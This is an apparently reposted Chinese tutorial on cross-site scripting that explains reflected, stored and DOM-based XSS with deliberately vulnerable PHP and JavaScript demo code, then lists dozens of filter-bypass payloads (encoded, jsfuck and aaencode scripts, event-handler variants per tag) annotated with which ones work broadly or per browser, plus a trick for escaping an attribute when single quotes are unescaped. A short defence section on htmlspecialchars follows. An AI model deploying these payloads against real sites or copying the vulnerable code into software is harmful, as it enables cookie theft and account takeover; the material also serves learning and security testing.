主頁 > 企業開發 > xss-代碼角度理解與繞過filter

xss-代碼角度理解與繞過filter

2021-06-09 18:26:08 企業開發

0x00 原理

??xss全稱為cross site scripting,中文為跨站腳本攻擊,它允許web用戶將惡意代碼植入到提供給用戶使用的頁面,代碼包括HTML代碼和客戶端腳本,

0x01 危害

  • 盜取用戶賬戶(獲取cookie)
  • 控制網頁資料
  • 盜竊企業資料
  • 非法轉賬
  • 強制發送電子郵件
  • 網站掛馬
  • 控制受害者機器向其他網站發起攻擊

0x02 xss類別以及代碼實作

0x02.1 反射型xss

??反射型xss也叫非持久性xss,是一種常見的xss漏洞,但是危害較小,

后端代碼

<?php
  highlight_file('reflect_xss.php');
  $user=$_GET['user'];
  echo $user;
?>

前端測驗


可以看到我們的js代碼被直接插入進了頁面執行,

根據需求可以構造各種各樣的js代碼

  • <style></style>


因為沒設定cookie 所以不彈cookie

0x02.2 存盤型xss

??存盤型xss也被稱做持久型xss,存盤xss是最危險的一種跨站腳本,它被服務器接收并儲存,用戶訪問該網頁,這段xss就會被讀取出來到瀏覽器,
一般出現在留言板

后端代碼(拆了dvwa的xss存盤做測驗)

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

審計原始碼 我們可以發現,先檢測了用戶是否輸入,然后對輸入的名字和內容進行檢測,最后將值插入到資料庫中

前端測驗


在當前頁面重繪后,會重新進行sql查詢,將查詢到的結果回傳到頁面上,


所以可以通過這種方式去獲取他人cookie,實作登錄他人賬號,

0x02.3 dom型xss

??dom型xss只發生在客戶端處理資料階段,可認為dom型xss就是出現在javascript中的漏洞,

前端代碼

<html>
<head>
<title>aa</title>
</head>
<body>
<script>
	var temp=document.URL;
	var index=document.URL.indexOf("content=")+4;
	var par=temp.substring(index);
	document.write(decodeURI(par));
</script>
</body>
</html>

關鍵是script標簽下的代碼,因為用到了document.write 使得用戶輸入的代碼被寫入到了頁面上,

前端測驗


0x03 xss常見payload中用到的標簽

<script> 
<a> 
<p> 
<img> 
<body> 
<button> 
<var> 
<div> 
<iframe> 
<object> 
<input> 
<select> 
<textarea> 
<keygen> 
<frameset> 
<embed> 
<svg> 
<math> 
<video> 
<audio>
<style>

0x04 xss常見payload中用到的事件

onload 
onunload 
onchange 
onsubmit 
onreset 
onselect 
onblur 
onfocus 
onabort 
onkeydown 
onkeypress 
onkeyup 
onclick 
ondbclick 
onmouseover 
onmousemove 
onmouseout 
onmouseup 
onforminput 
onformchange 
ondrag 
ondrop

0x05 xss常見payload中用到的屬性

formaction 
action 
href 
xlink:href 
autofocus 
src 
content 
data

0x06 xss繞過的一些技巧

屬性與屬性之間需要空格,而屬性與標簽之間可以不用

  • <img/src=https://www.cnblogs.com/Dark1nt/p/x one rror=alert(1)> 通殺各種xss漏洞

使用html物體編碼

  • <a href=https://www.cnblogs.com/Dark1nt/p/javascript:alert(13)>M 一般用于dom型

xlink:href隱藏鏈接

  • <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 通殺

jsfuck編碼彈窗

  • <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> 一般用于dom型
    網站: http://www.jsfuck.com/

aaencode編碼彈窗

  • <script>?ω??= /`m′)? ~┻━┻ //*′?`*/ ['_']; o=(???) =_=3; c=(?Θ?) =(???)-(???); (?Д?) =(?Θ?)= (o^_^o)/ (o^_^o);(?Д?)={?Θ?: '_' ,?ω?? : ((?ω??==3) +'_') [?Θ?] ,???? :(?ω??+ '_')[o^_^o -(?Θ?)] ,?Д??:((???==3) +'_')[???] }; (?Д?) [?Θ?] =((?ω??==3) +'_') [c^_^o];(?Д?) ['c'] = ((?Д?)+'_') [ (???)+(???)-(?Θ?) ];(?Д?) ['o'] = ((?Д?)+'_') [?Θ?];(?o?)=(?Д?) ['c']+(?Д?) ['o']+(?ω?? +'_')[?Θ?]+ ((?ω??==3) +'_') [???] + ((?Д?) +'_') [(???)+(???)]+ ((???==3) +'_') [?Θ?]+((???==3) +'_') [(???) - (?Θ?)]+(?Д?) ['c']+((?Д?)+'_') [(???)+(???)]+ (?Д?) ['o']+((???==3) +'_') [?Θ?];(?Д?) ['_'] =(o^_^o) [?o?] [?o?];(?ε?)=((???==3) +'_') [?Θ?]+ (?Д?) .?Д??+((?Д?)+'_') [(???) + (???)]+((???==3) +'_') [o^_^o -?Θ?]+((???==3) +'_') [?Θ?]+ (?ω?? +'_') [?Θ?]; (???)+=(?Θ?); (?Д?)[?ε?]='\\'; (?Д?).?Θ??=(?Д?+ ???)[o^_^o -(?Θ?)];(o???o)=(?ω?? +'_')[c^_^o];(?Д?) [?o?]='\"';(?Д?) ['_'] ( (?Д?) ['_'] (?ε?+(?Д?)[?o?]+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+((???) + (?Θ?))+ (c^_^o)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((???) + (o^_^o))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) - (?Θ?))+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?o?]) (?Θ?)) ('_');</script> 一般用于dom型

網站: https://www.jisuan.mobi/pHNNNNHzz6z3NJyX.html

并不需要規范的script

  • <script ????>alert(1)</script> 通殺

使用unicode編碼+html物體編碼

  • <script/src=https://www.cnblogs.com/Dark1nt/p/data:text/j/u0061v/u0061script,/u0061lert(/XSS/)></script> 一般用到html物體編碼的只能殺dom型

使用unicode編碼

  • <script>\u0061\u006c\u0065\u0072\u0074(/\u002f\u0078\u0073\u0073\u002f/)</script> 通殺

不使用alert,使用別的事件彈窗

  • <script>prompt(-[])</script> 通殺

  • <script>confirm(-[])</script> 通殺

使用/替代單引號和雙引號

  • <script>alert(/3/)</script> 通殺

使用String.fromCharCode 轉成 字符

  • <script>alert(String.fromCharCode(49))</script> 通殺

執行代碼后加.source不影響代碼執行 加其他字符可能出現undefine

  • <script>alert(/shit/.source)</script> 通殺

使用settimeout輸出alert

  • <script>setTimeout('alert(1)',0)</script> 通殺

經典button alert

  • <button/onclick=alert(1) >M</button> 通殺

過濾了所以on開頭事件

  • <form><button formaction=javascript&colon;alert(1)>M 一般適用于dom xss

無限彈,彈到死

  • <button onfocus=alert(1) autofocus> 通殺

插入p標簽

  • <p/onmouseover=javascript:alert(1); >M</p> 通殺
    滑鼠移動到M

img標簽常用Payload

  • <img src=https://www.cnblogs.com/Dark1nt/p/x one rror=alert(1)> 通殺
  • <img src ?itworksonchrome?\/onerror = alert(1)> 通殺,但只適用于谷歌
  • <img src=https://www.cnblogs.com/Dark1nt/p/x one rror=window.open('http://google.com');> 會被谷歌攔截
  • <img/src/onerror=alert(1)> 通殺,適用于谷歌
  • <img src="https://www.cnblogs.com/Dark1nt/p/x:kcf" one rror="alert(1)"> 通殺

body標簽常用payload

  • <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 通殺
  • <body onl oad=alert(1)> 通殺
    其實就是通過事件執行彈窗
  • <body%20onclick=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input%20autofocus> 通殺

var標簽常用payload

  • <var onm ouseover="prompt(1)">KCF</var> 通殺

div標簽常用payload

  • <div/onmouseover='alert(1)'>X 通殺
  • <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)"> 通殺

    隱藏執行

iframe標簽常用payload

可以通過物體編碼 &Tab(換行和tab字符)來bypass一些filter,可以通過事先在swf檔案中插入我們的xss code,然后通過src屬性來呼叫,
只有在crossdomain.xml檔案中,allow-access-from domain=“"允許從外部呼叫swf時,我們才可以通過flash來實作xss attack.

  • <iframe src=https://www.cnblogs.com/Dark1nt/p/j a v a s c r i p t :a l e r t %28 1 %29></iframe> 一般用于dom型xss

  • <iframe src=https://www.cnblogs.com/Dark1nt/p/j a v a s c r i p t :a l e r t %28 1 %29></iframe> 一般用于dom型xss

  • <iframe%20SRC="http://xss/xss.swf"></iframe> 呼叫flash xss 通殺

  • <IFRAME SRC="javascript:alert(1);"></IFRAME> 通殺

  • <iframe/onload=alert(53)></iframe> 通殺

meta標簽常用payload

文章標題跑到meta標簽里,只需要跳出當前屬性再添加http-equiv="refresh",就可以構造一個有效的xss payload

  • <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>? 測驗失敗
  • <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"> 測驗失敗

object標簽常用payload

  • <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object> 通殺

marquee標簽常用payload

  • <marquee onstart="alert('sometext')">as</marquee> 測驗失敗
    很有意思的標簽
  • <marquee%20%20onclick=javascript:alert(/xss/)>as</marquee> 通殺

isindex標簽常用payload

  • <isindex type=image src=https://www.cnblogs.com/Dark1nt/p/1 one rror=alert(1)> 測驗失敗
  • <isindex action=javascript:alert(1) type=image> 測驗失敗

input標簽常用payload

input和Button差不多

  • <input onfocus=javascript:alert(1) autofocus> 通殺
  • <input onblur=javascript:alert(1) autofocus><input autofocus> 通殺

select標簽常用payload

  • <select onfocus=javascript:alert(1) autofocus> 通殺

textarea標簽常用payload

  • <textarea onfocus=javascript:alert(1) autofocus> 通殺

keygen標簽常用payload

  • <keygen onfocus=javascript:alert(1) autofocus> 測驗失敗

frameset標簽常用payload

  • <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 測驗失敗
  • <frameset onl oad=alert(1)> 測驗失敗

embed標簽常用payload

  • <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> 通殺 適用谷歌

  • <embed src=javascript:alert(1)> 通殺 適用火狐

svg標簽常用payload

  • <svg onl oad="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> 通殺
  • <svg xmlns="http://www.w3.org/2000/svg"><g onl oad="javascript:alert(1)"></g></svg> 測驗失敗 谷歌

math標簽常用payload

  • <math href="javascript:javascript:alert(1)">CLICKME</math> 測驗失敗
  • <math><y/xlink:href=javascript:alert(51)>test1 測驗失敗

xlink:href="javascript:alert(49)">CLICKME ``` 測驗失敗

vedio標簽常用payload

  • <video><source one rror="alert(1)"> 通殺
  • <video src=https://www.cnblogs.com/Dark1nt/p/x one rror=alert(48)> 通殺

audio標簽常用Payload

  • <audio src=https://www.cnblogs.com/Dark1nt/p/x one rror=alert(47)> 通殺

凡是on開頭事件后出現javascript:都是多余的

0x07 xss防御方式

將<> 轉成html物體編碼顯示在頁面

&(和號)成為&amp
“(雙引號)成為&quot
‘(單引號)成為&#039
<(小于)成為&lt >( 大于)成為&gt

  • htmlspecialchars()函式 通殺所有需要構造標簽的payload. 厲不厲害?不給hacker們留活路呢

后端代碼

<?php
  highlight_file('htmlspecialchars_xss.php');
  $user=$_GET['user'];
  echo htmlspecialchars($user);

?>

前端測驗




在源代碼中我們可以看到php函式htmlspecialchars將所有<> 都轉成了對應的html物體編碼,博客園里也用了這種方法,



默認轉義了雙引號和<>,其實已經夠了

<?php
  highlight_file('htmlspecialchars_xss.php');
  $user=$_GET['user'];
  #echo htmlspecialchars($user,ENT_COMPAT); 默認編碼雙引號
  #echo htmlspecialchars($user,ENT_QUOTES); 編碼雙引號和單引號
  #echo htmlspecialchars($user,ENT_NOQUOTES); 不編碼任何引號
?>
  • 使用了ENT_COMPAT

  • 使用了ENT_QUOTES

  • 使用了ENT_NOQUOTES

0x08 xss里的<>被轉義了怎么繞過?

已經有辦法繞了,但是不能完全繞(必須某種特定情況)

  • 如果用戶輸入的是直接插入到頁面中,則需要自己構造標簽,這種一般就不用考慮繞了,基本上是在浪費時間,
  • 如果用戶輸入的是插入到頁面為我們構造好的標簽里,我們不用自己構造標簽,那就有很多方法來繞過了,

后端代碼

<?php
  highlight_file('htmlspecialchars_xss.php');
  $user=$_GET['user'];
  $html='<p value='https://www.cnblogs.com/Dark1nt/p/.htmlspecialchars($user).'>登錄</p>';
  echo $html;
?>

只是簡單演示一下,實際情況有非常多,都是將用戶輸入的代碼直接插入了標簽中的某個屬性里,而且還是使用了默認的htmlspecialchars 不轉義單引號,萬變不離其中,

前端測驗



正常轉義
構造payload

  • a onclick=javascript:alert(/xss/)



在原始碼中可以看到標簽完美閉合

回傳頁面 點擊登錄 彈窗

0x08 xss payload檢測網站

url: https://xsschop.chaitin.cn/demo/

0x09 xss真正防御方式

??函式不重要,重要的是開發者的安全意識,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/285867.html

標籤:訊息安全

上一篇:命令執行-過濾了字母或者過濾了數字+字母的繞過方法

下一篇:實時時鐘、系統時鐘和主機服務器時鐘的區別

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • IEEE1588PTP在數字化變電站時鐘同步方面的應用

    IEEE1588ptp在數字化變電站時鐘同步方面的應用 京準電子科技官微——ahjzsz 一、電力系統時間同步基本概況 隨著對IEC 61850標準研究的不斷深入,國內外學者提出基于IEC61850通信標準體系建設數字化變電站的發展思路。數字化變電站與常規變電站的顯著區別在于程序層傳統的電流/電壓互 ......

    uj5u.com 2020-09-10 03:51:52 more
  • HTTP request smuggling CL.TE

    CL.TE 簡介 前端通過Content-Length處理請求,通過反向代理或者負載均衡將請求轉發到后端,后端Transfer-Encoding優先級較高,以TE處理請求造成安全問題。 檢測 發送如下資料包 POST / HTTP/1.1 Host: ac391f7e1e9af821806e890 ......

    uj5u.com 2020-09-10 03:52:11 more
  • 網路滲透資料大全單——漏洞庫篇

    網路滲透資料大全單——漏洞庫篇漏洞庫 NVD ——美國國家漏洞庫 →http://nvd.nist.gov/。 CERT ——美國國家應急回應中心 →https://www.us-cert.gov/ OSVDB ——開源漏洞庫 →http://osvdb.org Bugtraq ——賽門鐵克 →ht ......

    uj5u.com 2020-09-10 03:52:15 more
  • 京準講述NTP時鐘服務器應用及原理

    京準講述NTP時鐘服務器應用及原理京準講述NTP時鐘服務器應用及原理 安徽京準電子科技官微——ahjzsz 北斗授時原理 授時是指接識訓通過某種方式獲得本地時間與北斗標準時間的鐘差,然后調整本地時鐘使時差控制在一定的精度范圍內。 衛星導航系統通常由三部分組成:導航授時衛星、地面檢測校正維護系統和用戶 ......

    uj5u.com 2020-09-10 03:52:25 more
  • 利用北斗衛星系統設計NTP網路時間服務器

    利用北斗衛星系統設計NTP網路時間服務器 利用北斗衛星系統設計NTP網路時間服務器 安徽京準電子科技官微——ahjzsz 概述 NTP網路時間服務器是一款支持NTP和SNTP網路時間同步協議,高精度、大容量、高品質的高科技時鐘產品。 NTP網路時間服務器設備采用冗余架構設計,高精度時鐘直接來源于北斗 ......

    uj5u.com 2020-09-10 03:52:35 more
  • 詳細解讀電力系統各種對時方式

    詳細解讀電力系統各種對時方式 詳細解讀電力系統各種對時方式 安徽京準電子科技官微——ahjzsz,更多資料請添加VX 衛星同步時鐘是我京準公司開發研制的應用衛星授時時技術的標準時間顯示和發送的裝置,該裝置以M國全球定位系統(GLOBAL POSITIONING SYSTEM,縮寫為GPS)或者我國北 ......

    uj5u.com 2020-09-10 03:52:45 more
  • 如何保證外包團隊接入企業內網安全

    不管企業規模的大小,只要企業想省錢,那么企業的某些服務就一定會采用外包的形式,然而看似美好又經濟的策略,其實也有不好的一面。下面我通過安全的角度來聊聊使用外包團的安全隱患問題。 先看看什么服務會使用外包的,最常見的就是話務/客服這種需要大量重復性、無技術性的服務,或者是一些銷售外包、特殊的職能外包等 ......

    uj5u.com 2020-09-10 03:52:57 more
  • PHP漏洞之【整型數字型SQL注入】

    0x01 什么是SQL注入 SQL是一種注入攻擊,通過前端帶入后端資料庫進行惡意的SQL陳述句查詢。 0x02 SQL整型注入原理 SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和資料庫打交道的地方都有可能存在。 如這里http://192.168. ......

    uj5u.com 2020-09-10 03:55:40 more
  • [GXYCTF2019]禁止套娃

    git泄露獲取原始碼 使用GET傳參,引數為exp 經過三層過濾執行 第一層過濾偽協議,第二層過濾帶引數的函式,第三層過濾一些函式 preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] (?R)參考當前正則運算式,相當于匹配函式里的引數 因此傳遞 ......

    uj5u.com 2020-09-10 03:56:07 more
  • 等保2.0實施流程

    流程 結論 ......

    uj5u.com 2020-09-10 03:56:16 more
最新发布
  • 使用Django Rest framework搭建Blog

    在前面的Blog例子中我們使用的是GraphQL, 雖然GraphQL的使用處于上升趨勢,但是Rest API還是使用的更廣泛一些. 所以還是決定回到傳統的rest api framework上來, Django rest framework的官網上給了一個很好用的QuickStart, 我參考Qu ......

    uj5u.com 2023-04-20 08:17:54 more
  • 記錄-new Date() 我忍你很久了!

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 大家平時在開發的時候有沒被new Date()折磨過?就是它的諸多怪異的設定讓你每每用的時候,都可能不小心踩坑。造成程式意外出錯,卻一下子找不到問題出處,那叫一個煩透了…… 下面,我就列舉它的“四宗罪”及應用思考 可惡的四宗罪 1. Sa ......

    uj5u.com 2023-04-20 08:17:47 more
  • 使用Vue.js實作文字跑馬燈效果

    實作文字跑馬燈效果,首先用到 substring()截取 和 setInterval計時器 clearInterval()清除計時器 效果如下: 實作代碼如下: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta ......

    uj5u.com 2023-04-20 08:12:31 more
  • JavaScript 運算子

    JavaScript 運算子/運算子 在 JavaScript 中,有一些運算子可以使代碼更簡潔、易讀和高效。以下是一些常見的運算子: 1、可選鏈運算子(optional chaining operator) ?.是可選鏈運算子(optional chaining operator)。?. 可選鏈操 ......

    uj5u.com 2023-04-20 08:02:25 more
  • CSS—相對單位rem

    一、概述 rem是一個相對長度單位,它的單位長度取決于根標簽html的字體尺寸。rem即root em的意思,中文翻譯為根em。瀏覽器的文本尺寸一般默認為16px,即默認情況下: 1rem = 16px rem布局原理:根據CSS媒體查詢功能,更改根標簽的字體尺寸,實作rem單位隨螢屏尺寸的變化,如 ......

    uj5u.com 2023-04-20 08:02:21 more
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 08:01:50 more
  • 如何在 vue3 中使用 jsx/tsx?

    我們都知道,通常情況下我們使用 vue 大多都是用的 SFC(Signle File Component)單檔案組件模式,即一個組件就是一個檔案,但其實 Vue 也是支持使用 JSX 來撰寫組件的。這里不討論 SFC 和 JSX 的好壞,這個仁者見仁智者見智。本篇文章旨在帶領大家快速了解和使用 Vu ......

    uj5u.com 2023-04-20 08:01:37 more
  • 【Vue2.x原始碼系列06】計算屬性computed原理

    本章目標:計算屬性是如何實作的?計算屬性快取原理以及洋蔥模型的應用?在初始化Vue實體時,我們會給每個計算屬性都創建一個對應watcher,我們稱之為計算屬性watcher ......

    uj5u.com 2023-04-20 08:01:31 more
  • http1.1與http2.0

    一、http是什么 通俗來講,http就是計算機通過網路進行通信的規則,是一個基于請求與回應,無狀態的,應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行,否則無法連接。tcp(三次握手,四次揮手)。 請求與回應:客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:01:10 more
  • http1.1與http2.0

    一、http是什么 通俗來講,http就是計算機通過網路進行通信的規則,是一個基于請求與回應,無狀態的,應用層協議。常用于TCP/IP協議傳輸資料。目前任何終端之間任何一種通信方式都必須按Http協議進行,否則無法連接。tcp(三次握手,四次揮手)。 請求與回應:客戶端請求、服務端回應資料。 無狀態 ......

    uj5u.com 2023-04-20 08:00:32 more